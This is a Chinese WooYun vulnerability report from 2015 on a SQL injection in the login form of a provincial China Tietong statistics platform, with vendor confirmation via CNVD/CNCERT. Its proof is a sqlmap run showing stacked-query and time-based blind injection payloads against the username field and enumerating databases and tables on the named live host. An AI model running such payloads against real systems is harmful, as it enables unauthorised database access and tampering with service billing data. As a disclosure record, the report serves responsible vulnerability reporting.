当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099473

漏洞标题:某省铁通数据统计平台存在SQL注入(可修改服务费用)

相关厂商:中国铁通

漏洞作者: YY-2012

提交时间:2015-03-04 16:20

修复时间:2015-04-18 16:22

公开时间:2015-04-18 16:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-04: 细节已通知厂商并且等待厂商处理中
2015-03-09: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向核心白帽子及相关领域专家公开
2015-03-29: 细节向普通白帽子公开
2015-04-08: 细节向实习白帽子公开
2015-04-18: 细节向公众公开

简要描述:

rt

详细说明:

http://222.41.169.2/
登录框username存在post注入。
猜解半天才猜解十多张表,速度太慢了。。不想继续

1.png


aaaaaaaaaaaaaaaaaaa2222222222.jpg

漏洞证明:

aaaaaaaaaaa111111111.jpg


C:\Python27\sqlmap>sqlmap.py -r 1.txt -p "username" --tables
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150130}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:27:27
1.txt
[10:27:27] [INFO] parsing HTTP request from '1.txt'
1.txt
[10:27:28] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:27:28] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUJOTU5Mjc2MjM0ZGTG9vF/dY9wMn4aM7ayfAGI9di1iNdyNoc
VoB9H/fEmIA==&__EVENTVALIDATION=/wEWBAK9290pAq m6rYIAvucsrIHApHkipwC7NKwnnnpeseY
dMFEviV5v82c7xRvzh2JgMcEXIgKz6M=&username=admin'; WAITFOR DELAY '0:0:5'--&pass=a
sd&sub_btn= %E7%99%BB%E5%BD%95
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUJOTU5Mjc2MjM0ZGTG9vF/dY9wMn4aM7ayfAGI9di1iNdyNoc
VoB9H/fEmIA==&__EVENTVALIDATION=/wEWBAK9290pAq m6rYIAvucsrIHApHkipwC7NKwnnnpeseY
dMFEviV5v82c7xRvzh2JgMcEXIgKz6M=&username=admin' WAITFOR DELAY '0:0:5'--&pass=as
d&sub_btn= %E7%99%BB%E5%BD%95
---
[10:27:28] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
[10:27:28] [INFO] fetching database names
[10:27:28] [INFO] fetching number of databases
[10:27:28] [INFO] resumed: 10
[10:27:28] [INFO] resumed: AdventureWorks
[10:27:28] [INFO] resumed: AdventureWorksDW
[10:27:28] [INFO] resumed: dbgongzi
[10:27:28] [INFO] resumed: jifenDB
[10:27:28] [INFO] resumed: master
[10:27:28] [INFO] resumed: model
[10:27:28] [INFO] resumed: msdb
[10:27:28] [INFO] resumed: td_test
[10:27:28] [INFO] resumed: TdDb1
[10:27:28] [INFO] resumed: tempdb
[10:27:28] [INFO] fetching tables for databases: AdventureWorks, AdventureWorksD
W, TdDb1, dbgongzi, jifenDB, master, model, msdb, td_test, tempdb
[10:27:28] [INFO] fetching number of tables for database 'td_test'
[10:27:28] [INFO] resumed: 66
[10:27:28] [INFO] resumed: dbo.AreaList
[10:27:28] [INFO] resumed: dbo.Powers
[10:27:28] [INFO] resumed: dbo.Roles
[10:27:28] [INFO] resumed: dbo.TD_201409_Basic_dlzjxx
[10:27:28] [INFO] resumed: dbo.TD_201409_Basic_PackageInfo
[10:27:28] [INFO] resumed: dbo.TD_201409_Basic_WorkDeptInfo
[10:27:28] [INFO] resuming partial value: dbo.TD_201409_Re
[10:27:28] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
[10:27:38] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
sqlmap got a 302 redirect to 'http://222.41.169.2:80/index.aspx'. Do you want to
follow? [Y/n]
redirect is a result of a POST request. Do you want to resend original POST data
to a new location? [y/N]
[10:27:42] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
port_djhfqk
[10:32:34] [INFO] retrieved: dbo.TD_201409_Report_djhwlb
[10:36:05] [INFO] retrieved: dbo.TD_201409_Report_djyhtwmxyb
[10:41:44] [INFO] retrieved: dbo.TD_201409_Report_djzjmx
[10:45:44] [INFO] retrieved: dbo.TD_201409_Report_khqfrqd
[10:50:23] [INFO] retrieved: dbo.TD_201409_Report_khssjyrqd
[10:55:11] [INFO] retrieved: dbo.TD_201409_Report_khzhyerqd
[11:00:04] [INFO] retrieved: dbo.TD_201409_Report_wxzjtcsyqk
[11:06:14] [INFO] retrieved: dbo.TD_201409_Report_xzcywfhyhmx
[11:13:07] [INFO] retrieved: dbo.TD_201409_Report_yytzwsfmx
[11:19:02] [INFO] retrieved: dbo.TD_201409_Report_yyyzhtzmx
[11:24:28] [INFO] retrieved: dbo.TD_20141015dd_Report_yyyzhtzmx
[11:35:05] [INFO] retrieved: dbo.TD_Basic_dlzjxx
[11:40:37] [INFO] retrieved: dbo.TD_Basic_PackageInfo
[11:45:52] [INFO] retrieved: dbo.TD_Basic_WorkDeptInfo
[11:52:01] [INFO] retrieved: dbo.TD_Project_ReportTask
[11:59:59] [INFO] retrieved: dbo.TD_Project_ReportTaskList
[12:03:55] [INFO] retrieved: dbo.TD_Project_SMSTASK
[12:07:26] [INFO] retrieved: dbo.TD_Project_TableStructure
[12:14:07] [INFO] retrieved: dbo.TD_Report_djhfqk
[12:20:17] [INFO] retrieved: dbo.TD_Report_djhwlb
[12:23:11] [INFO] retrieved: dbo.TD_Report_djyhtwmxyb
[12:28:16] [INFO] retrieved: dbo.TD_Report_djzjmx
[12:31:43] [INFO] retrieved: dbo.TD_Report_khqfrqd
[12:35:48] [INFO] retrieved: dbo.TD_Report_khssjyrqd
[12:40:12] [INFO] retrieved: dbo.TD_Report_khzhyerqd
[12:44:40] [INFO] retrieved: dbo.TD_Report_wxzjtcsyqk
[12:50:39] [INFO] retrieved: dbo.TD_Report_xzcywfhyhmx
[12:58:22] [INFO] retrieved: dbo.TD_Report_yytzwsfmx
[13:04:54] [INFO] retrieved: dbo.TD_Report_yyyzhtzmx
[13:10:44] [INFO] retrieved: dbo.TD_SMS_dyedxfscx
[13:18:09] [INFO] retrieved: dbo.Users
[13:21:09] [INFO] retrieved: dbo.View_AccountDetailTable
[13:32:39] [INFO] retrieved: dbo.View_Back_Network
[13:39:37] [INFO] retrieved: dbo.View_DailIAll
[13:44:16] [INFO] retrieved: dbo.View_Day_CustomerAccount
[13:53:56] [INFO] retrieved: dbo.View_Day_Overduebill
[14:00:57] [INFO] retrieved: dbo.View_Day_RealtimeBalances
[14:09:45] [INFO] retrieved: dbo.View_Dept_djhfqk
[14:16:23] [INFO] retrieved: dbo.View_HuoYue_DaiLiAll
[14:24:31] [INFO] retrieved: dbo.View_HuoYue_ZiYingAll
[14:30:36] [INFO] retrieved: dbo.View_HuoYueAll
[14:33:48] [INFO] retrieved: dbo.View_NewInstallCountTable
[14:44:59] [INFO] retrieved: dbo.View_ReportTableInfo
[14:53:36] [INFO] retrieved: dbo.View_SingleInstallDetail
[15:03:50] [INFO] retrieved: dbo.View_SinglePhoneCase
[15:09:52] [INFO] retrieved: dbo.View_SumAccount
[15:15:20] [INFO] retrieved: dbo.View_TD_Dept_djzjmx
[15:23:50] [INFO] retrieved: dbo.View_TD_Report_khssjyrqd
[15:33:08] [INFO] retrieved: dbo.View_TiaoZheng
[15:38:04] [INFO] retrieved: dbo.View_TiaoZhengAll
[15:41:28] [INFO] retrieved: dbo.View_TuiWangDaiLiInfo
[15:49:39] [INFO] retrieved: dbo.View_TuiWangInfo
[15:53:29] [INFO] retrieved: dbo.View_UserPackageI
[15:59:48] [ERROR] user aborted
[*] shutting down at 15:59:48

修复方案:

联系厂商

版权声明:转载请注明来源 YY-2012@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-03-09 11:29

厂商回复:

CNVD确认所述情况,已转由CNCERT向相关单位通报。

最新状态:

暂无